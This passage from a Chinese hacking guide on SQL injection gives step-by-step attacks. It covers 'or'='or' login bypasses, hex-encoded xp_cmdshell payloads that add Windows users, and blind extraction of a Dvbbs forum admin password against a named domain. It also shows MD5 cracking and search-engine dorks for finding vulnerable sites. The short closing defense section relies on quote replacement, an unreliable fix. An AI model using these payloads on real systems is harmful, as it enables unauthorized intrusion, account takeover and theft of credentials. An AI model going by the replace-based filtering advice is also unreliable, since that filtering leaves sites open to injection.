步骤8　单击“MSSQL注入”选项卡中的【上传文件】按钮，即可打开【上传文件】窗口，在其中可以将本地的木马文件上传到远程主机上，如图8-47所示。单击“MSSQL注入”选项卡中的【管理入口检测】按钮，即可打开【管理入口检测】窗口，如图8-48所示。

图　8-47　【上传文件】窗口

图　8-48　【管理入口检测】窗口

步骤9　在“注入点”文本框中输入要检测的地址后，单击【扫描后台地址】按钮，即可对该网站进行扫描，并把扫描的后台地址显示出来，如图8-49所示。单击【检测设置区】按钮，即可打开【检测设置区】窗口，在其中可以对刚检测地址的设置表名、设置字段等进行查看，如图8-50所示。

图　8-49　检测出的管理入口

图　8-50　“检测设置区”选项卡

8.2.4　ZBSI注入工具

ZBSI是一款经典的PHP注入辅助工具，可运行在Windows 2000\XP\2003上。可检测PHP网站中是否存在注入漏洞和字段数目，还可将其作为一个浏览器来打开指定的网页。

使用ZBSI检测注入点的具体操作步骤如下。

步骤1　在Google搜索引擎中搜索网址中含有"php?id="字符的网页，如图8-51所示。

图　8-51　搜索网址中含有"php?id="的网址

步骤2　下载并运行其中的“ZBSI V1.0【PHP注入工具】.exe”文件，即可打开【ZBSI V1.0“PHP注入工具”】主窗口，如图8-52所示。

图　8-52　【ZBSI V1.0“PHP注入工具”】主窗口

步骤3　在“注入地址”文本框中输入上面搜索到的网址后，单击【检测注入】按钮即可对其检测，待检测完毕后，将会显示该网站是否可以进行PHP注入，如图8-53所示。

图　8-53　对网站进行注入检测

步骤4　在ZBSI中还可以对得到字段的数目进行检测，单击【字段检测】按钮，即可看到【猜解得到字段数目】对话框，如图8-54所示。单击【确定】按钮，即可在【ZBSI V1.0“PHP注入工具”】主窗口中看到含有猜解到字段的网址，如图8-55所示。

图　8-54　【猜解得到字段数目】对话框

图　8-55　得到含有猜解到字段的网址

步骤5　 ZBSI还附带有浏览器功能，在【ZBSI V1.0“PHP注入工具”】主窗口的“网站地址”文本框中输入要浏览的网页地址（如新浪）后，单击【浏览】按钮，即可浏览相应的网页，如图8-56所示。

图　8-56　在ZBSI中浏览网页

如何实现自己PHP代码安全、保证程序和服务器的安全，是每一个程序员必须考虑的问题。在编写PHP代码时对变量进行初始化和过滤，可有效防御PHP注入攻击。

8.3　'or'='or'经典漏洞攻击

SQL注入攻击一般存在于网页用户提交数据的地方，其中登录框就是用户经常提交数据的地方。所以一定存在针对登录框的注入攻击，而'or'='or'注入漏洞就是其中最为典型的一种。'or'='or'漏洞是一个比较古老的漏洞，它曾经在网上普遍存在，很多网站都曾经遭受该漏洞的攻击。黑客可以利用这个漏洞直接进入网站的后台，而不用输入密码。

8.3.1　'or'='or'攻击突破登录验证

'or'='or'注入漏洞主要出现在后台登录提交上，利用这个漏洞可以不需要密码而进入系统后台。由于程序员在编程的时候逻辑上考虑不足，或没有对单引号进行过滤，导致该漏洞出现。“逻辑上考虑不足”是为'or'='or'漏洞存在提供了前提条件，而“单引号没有过滤”则为漏洞提供了触发条件，只有两者同时存在才会出现这类漏洞。下面通过进入一个存在该类漏洞的论坛来介绍'or'='or'的攻击原理。具体的操作步骤如下。

步骤1　打开要攻击的论坛，在“用户名”和“密码”文本框中分别输入任意字符，再加上一个单引号，如图8-57所示。

图　8-57　用户登录页面

步骤2　单击【登录】按钮，系统即可返回如下的错误提示信息，则表明该网站可能存在SQL注入漏洞，如图8-58所示。

图　8-58　返回的错误信息

Microsoft OLE DB Provider for ODBC Drivers错误'80040e14'

[Microsoft][ODBC Microsoft Access Driver]语法错误（操作符丢失）在查询表达式'BBS_MEMBERS＞NAME='admin''AND BBS_MEMBERS＞Password='admin''AND BBS_MEMBERS.STATUS=1'中

/bbs/login. asp，行46

步骤3　在该网站的“用户名”文本框中输入"admin"；在“密码”文本框中输入"a'or 1=1--'"，单击【登录】按钮，就可以顺利地进入论坛了；单击【管理论坛】按钮，即可进入该论坛的管理页面，如图8-59所示。通过"'or'='or'"漏洞可以不用输入正确的密码就能进入后台。下面将介绍"'or'='or'"注入攻击的具体原理。

图　8-59　成功登录并管理论坛

在返回的错误信息“语法错误（操作符丢失）在查询表达式'BBS_MEMBERS＞NAME='admin''AND BBS_MEMBERS＞Password='admin''AND BBS_MEMBERS.STATUS=1'”中，可以猜测在该登录页面中存在如下SQL查询语句：

Select*from accounts where BBS_MEMBERS. NAME='用户名'and BBS_MEMB ERS.Password='密码'

当使用用户名"admin"和密码"a'or 1=1--'"等时，该SQL查询语句就变成了如下格式：

Select*from accounts where BBS_MEMBERS. NAME='用户名'and BBS_MEMBE RS.Password='a'or'1=1--'

SQL语句中Where部分的具体格式：a=b AND c=d OR 1=1。由于"1=1"是永远成立的，也就是说无论前面的"BBS_MEMBERS.NAME='admin'and BBS_MEMBERS.Password='a'"是否成立，该条语句的返回值都为“真”，所以就可以顺利地登录进入论坛。

提示　在实际注入过程中由于程序语言结构不同，构造的SQL注入语句可能会有相应变化，如'or 1=1--、''or 1=1--、Or 1=1--、'or'a'='a、以及''or''a''=''a等。

8.3.2　未过滤的request.form造成的注入

本节将通过如何入侵“织梦工作室”网站来介绍'or'='or'漏洞基本原理、产生原因及造成的严重后果。“织梦工作室企业全站程序（原良精）修正美化版”是一套比较常见的网站系统，具有整体页面简洁大方，功能齐全、使用非常方便等优点，其主页如图8-60所示。在该网站程序的后台管理登录页面中，就存在着一个典型的'or'='or'漏洞。

图　8-60　织梦工作室首页

1.'or'='or'漏洞基本原理、产生原因

使用Dreamweaver打开“织梦工作室企业全站程序（原良精）修正美化版”源代码中"manage"文件夹下的后台登录页面文件"login.asp"，如图8-61所示。

图　8-61　在Dreamweaver中查看后台登录页面代码

在其中找到如下的代码：

＜%

pwd=request.form("pwd")//获取客户端输入的密码,再把值赋给pwd

name=request.form("name")//获取客户端输入的用户名,再把值赋给name

Set rs=Server.CreateObject("ADODB.Connection")//利用Server对象的CreateObject方法创建ADO组件的Connection对象

sql="select*from Manage_User where UserName='"＆name＆"'And PassWord='"＆encrypt(pwd)＆"'"

//将用户名和密码放入查询语句中查询数据库

Set rs=conn.Execute(sql)//执行SQL语句

If Not rs.EOF=True Then//当前的记录位于Connection对象的最后一个记录之前

Session("Name")=rs("UserName")//将UserName的属性赋给Name的Session自定义变量

Session("pwd")=rs("PassWord")//将PassWord的属性赋给Pwd的Session自定义变量

Response.Redirect("Manage.asp")//利用Response对象的Redirect方法重定向"Manage.asp"

Else

Response.Redirect"Loginsb.asp?msg=您输入了错误的账号或口令,请再次输入!"

End If

end if

%＞

从上述代码中不难看出：该网站后台是采用"Session"验证的，其原理与采用"cookie"验证相似。同时其后台登录没有对输入的用户名和密码进行任何过滤，就直接传递给SQL语句查询。如果查询的记录是位于最后一条记录之前，即用户名和密码查询验证有效，则将Session中变量UserName、PassWord分别设置为Name、Pwd，并将其重定向到"Manage.asp"页面。

经过分析可以发现，该页面代码中存在很大漏洞，问题出在"pwd=request.form("pwd")"和"name=request.form("name")"两句代码上，这两句代码的功能是获得客户端输入的用户名和密码。

由于这两句代码没有对用户输入的数据进行任何过滤，也没有对用户输入的数据进行检查，从而可以对其实行SQL注入攻击。要实行SQL注入漏洞攻击，就必须使SQL语句的查询结果为真，此时就要用到or和and的逻辑运算的知识。and逻辑运算符的意思是“且”，也即对两个表达式进行逻辑“与”运算，其逻辑运算规则是：真and真=真；假and真=假；真and假=假；假and假=假。而or运算符的意思是“或”，也就是对两个表达式进行逻辑“或”运算，其逻辑运算规则是：真or真=真；假or真=真；真or假=真；假or假=假。当or和and同时出现时，则先运算and运算符。

如果想使"sql="select*from Manage_User where UserName='"＆name＆"'And PassWord='"＆encrypt（pwd）＆"'""语句执行为真，就要构造一个特殊的用户名，以绕过程序的验证进入后台。只要在“用户名”文本框中输入'or'='or'；在“密码”文本框中随便输入密码，如输入"admin"，此时SQL查询语句就变成如下形式：

sql="select*from Manage_User where UserName=''or'='or'And PassWord='admin'

此时，where后的条件语句为：UserName=''or'='or'And PassWord='admin'

可以将其转换成逻辑语句：假or真or假and假

而“假or真or假and假”逻辑运算过程为：假or真or假and假=假or真or（假and假）=假or真or假=（假or真）or假=真or假=真

通过上述运算，可以知道其最终结果为真，那么SQL语句的查询结果也变成真了。

2.通过'or'='or'漏洞控制了整个网站服务器

在了解'or'='or'漏洞的产生原因、原理后，就可以通过该漏洞来登录到织梦工作室的后台，从而控制整个网站服务器。其具体的操作步骤如下。

步骤1　在本地或Internet中打开“织梦工作室企业全站程序（原良精）修正美化版”后台登录页面，在“用户名”文本框中输入'or'='or'，在“密码”文本框中输入任意内容，如图8-62所示。

图　8-62　后台登录页面图

步骤2　在输入完毕之后，单击【登录系统】按钮，即可直接进入后台管理页面，在其中可以对该网站进行各种操作，如图8-63所示。

图　8-63　成功登录后台管理页面

在网上有许多使用“织梦工作室企业全站程序（原良精）修正美化版”的网站，只要在百度或Google中，以“co net mib ver 1.0网站后台管理系统”为关键字进行搜索，就可以看到大量存在此漏洞的站点。下面将列举这个漏洞会造成的严重后果。

（1）管理员管理。在“系统管理”选项卡中单击“管理员管理”超链接，即可在右边打开的窗口中进行添加、删除管理员以及修改密码等操作，如图8-64所示。

图　8-64　对管理员进行管理

（2）备份数据库。在“系统管理”选项卡中单击“备份数据库”超链接，即可在右边打开的窗口中对该网站中的数据库进行备份，如图8-65所示。

图　8-65　备份数据库

（3）上传文件管理。在“系统管理”选项卡中单击“上传文件管理”超链接，即可在右边打开的窗口查看已经上传的文件的详细信息，也可以删除上传文件，如图8-66所示。

图　8-66　上传文件管理

（4）订单管理。在“订单管理”选项卡中，可以查看已经提交订单的详细信息及订单处理情况，甚至可以将订单删除以达到破坏的作用，如图8-67所示。

图　8-67　订单管理

（5）新闻管理。切换到“新闻管理”选项卡，在其中可以发布修改企业新闻和业内资讯，如图8-68所示。如果要添加新闻，单击“添加公司新闻”超链接即可打开【添加新闻】窗口，如图8-69所示。如果在新闻中包含有图标，则需先上传该图片。单击【浏览】按钮，即可打开【选择文件】对话框，如图8-70所示。选择需要上传的图标，单击【打开】按钮返回到【添加新闻】窗口后，单击【上传】按钮，即可开始上传该文件。如果上传成功则会出现【上传文件成功】提示框，如图8-71所示。

图　8-68　新闻管理

图　8-69　添加新闻

图　8-70　【选择文件】对话框

图　8-71　【上传文件成功】提示框

不难看出：一个不起眼的'or'='or'漏洞是可以让整个网站服务器被攻击者控制在手中的。因此，网页脚本安全是与整个网站的安全紧密相联的。

8.4　缺失单引号与空格的引入

随着SQL注入技术的发展，SQL注入技术越来越巧妙，各种灵巧的SQL注入攻击方式不断出现。本节介绍的针对缺失单引号与空格的注入就是其中比较常见的注入攻击方式，它可以很大程度地破坏网站。

8.4.1　转换编码，绕过程序过滤

由于在SQL注入语句中可能包含单引号，特别是在字符型注入语句中，单引号更是常见。在这里，使用单引号检测一个网站，该网站网址为http://www.******.com.cn/getpass.asp?id=2，如果出现如下的错误提示信息，则表明该网址对单引号进行了过滤，如图8-72所示。

Microsoft OLE DB Provider for SQL Server错误'80040e14'

字符串""之前有未闭合的引号。

图　8-72　单引号被网页程序替换成两个单引号

从返回信息可以看出：网页程序对单引号进行过滤，所以导致返回错误信息中出现了双单引号。下面将介绍两种针对单引号的不同注入攻击。

1.declare与0x6e编码

如果利用SQL中的xp_cmdshell在远程主机上执行命令，将不能正常执行。如果要提交语句http://www.******.com.cn/getpass.asp?id=2;exec master.dbo.xp_cmdshell'net user xiaoyao/add，由于对单引号进行过滤，所以该语句将被转换成格式http://www.******.com.cn/getpass.asp?id=2;exec master.dbo.xp_cmdshell''net user xiaoyao/add''

很显然这是一个错误的语句，所以在执行xp_cmdshell命令时肯定是会出错的。

如果使用下面的注入语句，则会在网址提交后，看不到任何返回错误信息：

http://www.******.com.cn/getpass.asp?id=2;declare%20@a%20sysname%20select%20@a=0x 6e00650074002000730065007200200061006e00670065006c002000700061007300730020002f0061 0064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

出现这种情况的原因在于：在上面提交的SQL脚本注入语句中并没有包含单引号，所以可以绕过单引号过滤，从而成功实现注入攻击。其实，上面的语句与"http://www.******.com.cn/getpass.asp?id=2;exec master.dbo.xp_cmdshell'net user xiaoyao/add"是同一个语句。其中"a=0x6e006500740020007300650072002……"，参数a后面的数字实际上是"net user xiaoyao/add"的十六进制格式编码。

上面的SQL语句首先声明一个变量a，而变量a可以是任何执行的Windows命令。然后把添加用户的指令赋值给a，再通过调用变量a最终执行前面执行的命令。所以上面的语句可以拆分为如下三条单句：

declare@a sysname

select@a=＜要执行的命令十六进制代码＞

exec master. dbo.xp_cmdshell@a

由于SQL数据库具有可执行多句的特殊性，所以将三个语句组合后，就可以直接在注入点后进行提交了。所以这种SQL注入技术，只适合使用SQL数据库的注入点。

2.使用SQLInjectEncode二次编码工具

如果网站程序对Declare等字符也进行了过滤，那么使用上面的Declare语句变形注入代码，也不会成功实现注入。此时需使用SQLInjectEncode进行二次编码转换。SQLInjectEncode是一款SQL脚本注入攻击工具，其工作原理是通过Declare声明变量和0x6e编码组合的方法，绕开单引号过滤进入注入攻击。它可以自动为用户的SQL注入语句进行二次编码合成，以避开网页程序的单引号和空格过滤等，提高成功注入网站的概率。

下面以对某SQL注入点进行攻击检测为例，且网站对单引号进行了过滤。其具体操作步骤如下。

步骤1　打开SQLInjectEncode工具，其主窗口如图8-73所示。

图　8-73　【SQLInjectEncode】主窗口

步骤2　在【SQLInjectEncode】窗口的“原始地址URL”文本框中输入要注入网址"http://www.******.com/web/site/bbs/list.asp?bbsID=1024"，如图8-74所示。

图　8-74　输入要注入网址

步骤3　在“SQL代码”文本区域中输入要执行的SQL指令，这里输入的SQL是exec master.dbo.xp_cmdshell'net userxiaoyao/add'，如图8-75所示。

图　8-75　输入要执行的SQL语句

提示　SQLInjectEncode工具支持多行编辑，如果执行多条SQL语句，可以在本地SQL服务器的客户端程序“SQL查询中”测试多行语句，通过后直接复制SQL代码粘贴到工具中，程序在编码的过程中会自动消去换行符号。

步骤4　在输入要执行的SQL指令后，还需要勾选相应的复选框，这些复选框与注入成功与否有着非常关键的联系。各个复选框的具体含义如下：

需要单引号：其作用是设置完善SQL注入语句。有的网页程序在注入时，需要在参数变量后加入一个单引号，以显示注入后的反馈信息。此类注入点在进行and 1=1测试时，如果测试语句为"http://www.******.com/web/site/bbs/list.asp?bbsID=1024 and 1=1"，则不能成功。而提交测试语句"http://www.******.com/web/site/bbs/list.asp?bbsID=1024'and'1'=1"就可以返回正常信息，则说明属于“需要单引号”的类型，所以必须勾选此复选框。

需要--或/*收尾：该复选框的作用是选择隔断符。在SQL注入代码的最后加入收尾隔断符，以屏蔽脚本后面的代码，这样可以保证SQL注入代码语句的完整正常。通常一般采用“--”收尾。

/**/代替空格：表示将所有的空格都用“/**/”注释来代替，如果网页程序将空格过滤后，就可以选择该复选项。

自动放入剪贴板：勾选该复选框，则表示生成的注入语句会自动放入剪贴板中，以方便粘贴到浏览器地址栏中执行。

步骤5　设置完毕后单击【编码】按钮，软件便会将代码自动合成十六进制代码，在“合成后的URL”文本框中显示并自动复制入剪贴板中，如图8-76所示。其具体内容如下：

http://www.******. com/web/site/bbs/bbs.asp?bbsID=1024%20%64%65%63%6C%61%72%65%20%40%5A%20%76%61%72%63%68%61%72%28%38%30%30%30%29%20%73%65%74%20%40%5A%3D%30%78%36%35%37%38%36%35%36%33%32%30%36%44%36%31%37%33%37%34%36%35%37%32%32%45%36%34%36%32%36%46%32%45%37%38%37%30%35%46%36%33%36%44%36%34%37%33%36%38%36%35%36%43%36%43%32%30%32%37%36%45%36%35%37%34%32%30%37%35%37%33%36%35%37%32%32%30%37%38%36%39%36%31%36%46%37%39%36%31%36%46%32%30%32%46%36%31%36%34%36%34%32%37%20%65%78%65%63%75%74%65%28%40%5a%29%2d%2d

图　8-76　转换编码成功

不难看出：合成后的SQL注入指令与declare与0x6e编码略有不同，这是由于SQLInject Encode对"declare"等字符也进行了重编码，以更安全可靠地躲过网页程序的过滤。直接提交上述注入代码，即可看到原本过滤了单引号的网站程序，就可以顺利进行SQL注入攻击了。

8.4.2　/**/替换空格的注入攻击

动网论坛作为国内一个优秀的ASP论坛，深受广大用户的喜爱，但既然是程序代码，就不可能是十全十美。甚至一些不被人注意的小插件小功能，也可能导致坚固的论坛变得不堪一击。由于目前网络上博客非常流行，所以动网7.1SP1也新开发出了一个博客功能的插件。其界面做得很清新朴实，功能非常不错，但是它的安全性却不是很好。

在博客程序的"Cls_main.asp"文件中，由于对参数"Arvchivelink"过滤得不是很好，所以"boke.asp"文件在调用时存在注入漏洞。这样黑客可以利用该漏洞入侵论坛，并控制整个服务器，给网站造成极严重的危害。

1.漏洞代码分析

从网上下载动网7.1SP1版程序，并打开其中博客网页文件"boke.asp"，从中可以看到显示博客频道文件的代码。其具体内容如下：

Function ShowDispList(TopicID, Page)

Dim PageHtml, TempHtml, Temp

Dim Rs, Sql, SqlStr

Dim MaxRows, Endpage, CountNum, PageSearch

Endpage=0

MaxRows=DvBoke.BokeSetting(8)

'Page=Request("Page")

If IsNumeric(Page)=0 or Page=""Then Page=1

Page=Clng(Page)

'If Ubound(DvBoke.ArchiveLink)=4 Then'

SqlStr=DvBoke.CheckNumeric(Replace(Lcase(DvBoke.ArchiveLink(3)),".html",""))'

SqlStr="And(ParentID=0 Or PostID="＆SqlStr＆")"'End If

'PostID=0,CatID=1,sCatID=2,ParentID=3,RootID=4,UserID=5,UserName=6,Title=7,

Content=8,JoinTime=9,IP=10,sType=11

Sql="Select PostID, CatID, sCatID, ParentID, RootID, UserID, UserName, Title, Content, JoinTime,

IP, sType From[Dv_Boke_Post]Where RootID="＆TopicID＆""＆SqlStr＆"order by PostID"

'Response.Write Ubound(DvBoke.ArchiveLink)

Set Rs=server.CreateObject("adodb.recordset")

……

ShowDispList=PageHtml

End Function

其中参数变量ArchiveLink（3）的作用是传递收藏链接，它被代入下面的SQL语句中进行查询，如图8-77所示。

Sql="Select PostID, CatID, sCatID, ParentID, RootID, UserID, UserName, Title, Content, JoinTime, IP, sType From[Dv_Boke_Post]Where RootID="＆TopicID＆""＆SqlStr＆"order by PostID"

图　8-77　ArchiveLink参数被代入SQL查询

而ArchiveLink参数是通过"boke"目录下"Cls_Main.asp"文件函数传递的，在Dreamweaver中打开Cls_Main.asp”文件，即可看到如下参数传递代码：

Private Sub Class_Initialize()

BokeStype="文章,收藏,链接,交易,相册"

……

'Skins_Path="Boke/Skins/default/"

Cache_Path="Boke/CacheFile/"

Dim Tmpstr

Tmpstr=Request.ServerVariables("PATH_INFO")

Tmpstr=Split(Tmpstr,"/")

ScriptName=Lcase(Tmpstr(UBound(Tmpstr)))

UserSex=1

If Is_Isapi_Rewrite=0 Then ModHtmlLinked="?"

ArchiveLink=Lcase(Request.ServerVariables("QUERY_STRING"))

If ArchiveLink＜＞""Then

ArchiveLink=Split(ArchiveLink,".")

If Instr(Lcase(ArchiveLink(0)),"show_")=0 Then BokeName=Replace(ArchiveLink(0),

".html","")

Else

ReDim ArchiveLink(5)

End If

……

If Instr(Lcase(ArchiveLink(0)),"userid_")and IsNumeric(Replace(Lcase(ArchiveLink

(0)),"userid_",""))Then

BokeUserID=cCur(Replace(Lcase(ArchiveLink(0)),"userid_",""))

BokeName=""

End If

……

End Sub

上述代码定义了一个Class_In itialize()函数，该函数的作用是获取博客的分栏类型信息。而参数"ArchiveLink"是用来传递收藏链接的，此参数的获取代码如图8-78所示。其具体内容如下：

ArchiveLink=Lcase(Request.ServerVariables("QUERY_STRING"))

If ArchiveLink＜＞""Then

ArchiveLink=Split(ArchiveLink,".")

If Instr(Lcase(ArchiveLink(0)),"show_")=0 Then BokeName=Replace(ArchiveLink(0),

".html","")

Else

ReDim ArchiveLink(5)

End If

图　8-78　ArchiveLink变量代码

从ArchiveLink中可以提取出BokeName的值。所以ArchiveLink变量并没有经过严格的过滤，就被传递带入了Boke.asp文件中，所以也给BokeName带来了危险。

在"Cls_Main.asp"文件中可以看到如下代码：

Dim Sql, Rs

Sql="Select UserID, UserName, NickName, BokeName, PassWord, BokeTitle, BokeChildTitle,

BokeNote, JoinBokeTime, PageView, TopicNum, FavNum, PhotoNum, PostNum, TodayNum, Trackbacks, SpaceSize,

XmlData, SysCatID, BokeSetting, LastUpTime, SkinID, Stats, S.S_SkinName, S.S_Path, S.S_ViewPic, S.S_

Info, S.S_Builder From[Dv_Boke_User]U Inner Join[Dv_Boke_Skins]S On U.SkinID=S.S_ID"

Sql=Lcase(Sql)

If BokeName＜＞""Then

Sql=Sql＆"where BokeName='"＆Dvbbs.Checkstr(BokeName)＆"'"

ElseIf BokeUserID＞0 Then

Sql=Sql＆"where UserID="＆BokeUserID

Else

'请选取相关的DVBOKE,返回综合列表

Exit Sub

End If

不难看出：BokeName被直接引入了SQL查询语句中，如图8-79所示。由于BokeName变量没有经过任何过滤，而BokeName本身又是从ArchiveLink传递而来的，所以就产生SQL注入漏洞。

图　8-79　BokeName参数直接进行SQL查询

2.根据出错信息判断数据库类型

动网7.1SP1有Access和SQL两个版本，这两个版本中都存在着博客插件，同时存在着这个博客注入漏洞，危害十分大。

在进行攻击之前，首先要搜索攻击目录。打开百度或Google搜索引擎，在其中输入关键词"Powered By Dvbbs Version 7.1.0 Sp1"进行搜索，可以找到大量使用动网7.1SP1版本的论坛。不过打开搜索到的论坛页面时，由于未注册登录的原因，是看不到首页上的“博客”插件的，如图8-80所示。这时可以在论坛网址后加上boke.asp测试博客功能是否开放，如果看到如图8-81所示的错误提示信息，则说明该论坛是存在博客网页的。

图　8-80　博客插件无法查看

图　8-81　存在博客网页

随着网站管理员的安全意识的提高，他们会将动网论坛首页的版权标识修改掉，从而导致无法搜索到这样的论坛，因此，也可以通过关键词"Power by iBoker V1.0.0"进行搜索，可以直接找到论坛的博客页面。这里以网址"http://ziyifengxi.com.cn"的论坛为例，介绍如何判断其使用的数据库类型。具体操作步骤如下。

步骤1　在IE浏览器的地址栏中输入"http://www.ziyifengxi.com.cn/bokeindex.asp?show_user.html"后，按下回车键即可显示当前所有的博客信息，如图8-82所示。

图　8-82　博客用户列表

步骤2　打开其中名为“admin的博客”，可以看到其地址是http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi.index.html。

步骤3　将IE浏览器地址栏中的链接改为http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'1'='1.index.html。

步骤4　如果返回的错误提示信息是Microsoft OLE DB Provider for SQL Server错误'8004 0e14'，则说明该论坛是SQL版的；如果返回信息为“Microsoft JET Database Engine错误'800 40e14'”，则说明该论坛是Access版的。

3.破解管理员密码

在获得数据库类型后，就可以开始破解该论坛的管理员密码，这里以Access版数据库攻击检测为例来介绍如何得到管理员的用户名和密码。

（1）获取管理员用户名

在破解管理员密码之前，需要先得到管理员的用户名。获得管理员用户名的具体操作步骤如下。

步骤1　在攻击前需要确定论坛的管理员用户名。没有注册的用户可查看到论坛各版区的版主，但却不知道哪个是管理员。所以需要先在攻击目标论坛注册一个用户名并登录，其登录页面如图8-83所示。

图　8-83　打开博客登录页面

步骤2　在登录页面中输入自己刚注册的用户名和密码后，单击【登录】按钮，即可打开进入过渡页面，如图8-84所示。单击“返回首页”超链接，即可进入论坛首页，在其中可以看到此时论坛中的各种信息，如图8-85所示。

图　8-84　过渡页面

图　8-85　论坛首页

步骤3　单击页面中的【用户列表】按钮，即可打开用户列表页面，如图8-86所示。在“用户搜索”中将“搜索范围”设置为“管理团队”选项，就可以看到论坛管理员用户名，如图8-87所示（这里管理员用户名为"admin"）。

图　8-86　用户列表页面

图　8-87　获取管理员用户名

（2）猜解密码

在检测数据库类型时，可通过语句"http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'1'='1.index.html"来返回语法错误的信息。这里采用and 1=1和and 1=2方式来进行检测是否存在注入漏洞。使用"http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'1'='1.html"可正常返回到用户的博客页面，如图8-88所示。而使用"http://www.ziyifeng xi.com.cn/boke.asp?ziyifengxi'and'1'='2.html"语句，则自动跳转到了错误信息页面，如图8-89所示。

图　8-88　使用"and 1=1"法进行检测

图　8-89　使用"and 1=2"法进行检测

从上面两个页面对比可以得知，此处存在着明显的SQL注入漏洞。通过构造SQL注入语句，是可以猜解出管理员用户密码的。其具体操作步骤如下。

步骤1　使用语句"http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'0'=left(pass word,1)and''='.html"查询管理员用户密码（password）中的第一位密码是否为“0”。如果第一位密码不为0则会返回错误信息。

步骤2　使用语句"http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'1'=left(passw ord,1)and''='.html"来查询管理员用户密码（password）中的第一位密码是否为“1”，如果不是则返回错误信息。

步骤3　此时还需要使用检测语句继续进行检测，使用"http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'2'=left(password,1)and''='.html"和"http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'3'=left(password,1)and''='.html"等语句继续检测第一位密码是否为“2”和“3”等，直到可以打开正常页面为止。

步骤4　如果使用"http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'4'=left(password,1)and''='.html"语句打开如图8-90所示正常页面，则说明用户密码第一位是4。

图　8-90　猜解出第1位密码字符为4

步骤5　采用同样方法猜解第2位密码，此时用到的语句是http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'40'=left(password,2)and''='.html，该语句的作用是查询密码的前两位是否为“40”，如果返回错误信息则说明密码第2位不为0。

步骤6　这里需要保留第1位字符在查询字段中，将“40”改为“41”、“42”、“43”，继续进行提交，直到返回正常页面。如果使用http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'46'=left(password,2)and''='.html，即可打开如图8-91所示页面，说明密码的第2个字符是6。

图　8-91　第2位密码字符为6

步骤7　使用同样方法继续查询第3位密码，此时用的语句是http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'460'=left(password,3)and''='.html。同样，修改提交的数字“460”为“461”、“462”……如果一直提交到“469”，才返回正常的页面，则说明密码的第3位字符为“9”。

步骤8　使用"http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'4690'=left(password,4)and''='.html"继续查询第4位密码。如果不能正常打开页面则修改提交的数字“4690”为“4691”、“4692”、……、“4699”。

步骤9　如果一直提交到“4699”也没有返回正常的信息页面，则说明第4位字符不是数字，而是字母，所以，此时要将检测语句修改为"http://www.ziyifengxi.com.cn/boke.asp?ziyifengxi'and'469a'=left(password,4)and''='.htm"l。该语句作用是查询第4位字符是否为字母"a"，如不是则修改"469a"为"469b"、"469c"……一直到返回正常信息页面为止。

步骤10　用同样方法继续猜解第5位字符、第6位字符，直到第16位字符为止。因为一般密码是经过16位MD5加密的，所以必须猜解到16位字符。

可以看出手工猜解密码是非常慢的，可以借助一个自动攻击工具——动网论坛7.1博客程序注入漏洞利用工具"dv_boke.exe"来检测管理员密码，从而大大提高检测速度。

具体的使用步骤如下。

步骤1　运行dv_boke.exe工具，在“地址”文本框中输入论坛博客程序的漏洞文件，一般为“http://论坛地址/boke.asp”，这里为"http://www.ziyifengxi.com.cn/boke.asp"；在“用户名”文本框中输入管理员的博客用户名，如图8-92所示。

图　8-92　动网论坛7.1博客程序注入漏洞利用工具

提示　这里输入的用户名，不是管理员用户名，而是管理员的博客用户名。如管理员用户名为"admin"，其博客用户名为"ziyifengxi"，则需要输入的是"ziyifengxi"。

步骤2　在设置完毕后，单击【开始】按钮，即可看到“尝试获取密码，请耐心等待”信息提示框。

步骤3　单击【确定】按钮，程序就会开始自动破解管理员的密码了，如图8-93所示。待猜解完毕后，将会在“结果”文本框中显示猜解到的管理员用户密码。

图　8-93　密码破解中

（3）破解用户密码明文

破解得到的用户密码是经过16位MD5算法加密的，所以需要进行破解还原为密码明文。由于MD5加密方式采用了一种很复杂的加密算法，还原MD5密码比较困难，可以使用一些专门的MD5密码破解工具，如"dv.exe"、"MD59"等。

利用dv.exe可以快速破解出8位数以内的纯字母和数字。该工具运行在命令模式下，在【命令提示符】窗口中输入"dv.exe/?"命令可以查看到命令帮助信息，如图8-94所示。

图　8-94　DV破解工具

在记事本中创建一个"passfile.txt"文本文件，将管理员用户名和密码按“MD5密码用户名”的格式粘贴在其中。准备一个字典文件"password.txt"，在【命令提示符】窗口中执行"dv-p passfile.txt-w password.txt-o c:\final.txt"命令。该命令如果执行成功，则可将被破译还原出来的明文密码保存在"c:\final.txt"文件中。

此外，还有一些专门用于破解MD5密码的网站，这些网站收集了大量的MD5密码散列，如果密文包含在收集的散列数据库中，则很快就可以还原出密码明文。这里以cmd5网站（http://www.cmd5.com/）为例，在其中输入要破解的16位密文，单击【md5加密或解密】按钮，在“查询结果”文本框中很快就可以得到查询的密码，如图8-95所示。得到密码后，在动网论坛后台管理页面，输入管理员账号和密码，即可成功登录后台控制论坛了。

图　8-95　在线破解MD5密码

8.4.3　具体的防范措施

在很多SQL注入语句中都包含单引号，特别是在字符型注入语句中，单引号起着非常重要的作用。所以可以对用户提交的数据进行检验，过滤其中的单引号，从而实现防御SQL注入攻击的目的。

在一般情况下，是使用replace函数进行过滤的。通过类过滤语句"replace(request("id"),"'","'")"可将单引号转换成两个单引号进行过滤，以致使用户提交的数据在进行SQL语句查询时出现语法错误。也可以通过如下语句"replace(request("id"),"'","")"直接将单引号过滤为空格，对用户输入提交数据进行严格限制。

另外，由于构造SQL注入语句时，往往会包含有空格，所以许多人也会考虑过滤掉用户输入中的空格，此时需要使用"replace(request("id"),"","")"的过滤语句。作用是消去用户提交数据中的所有空格，从而过滤掉危险的SQL注入语句。

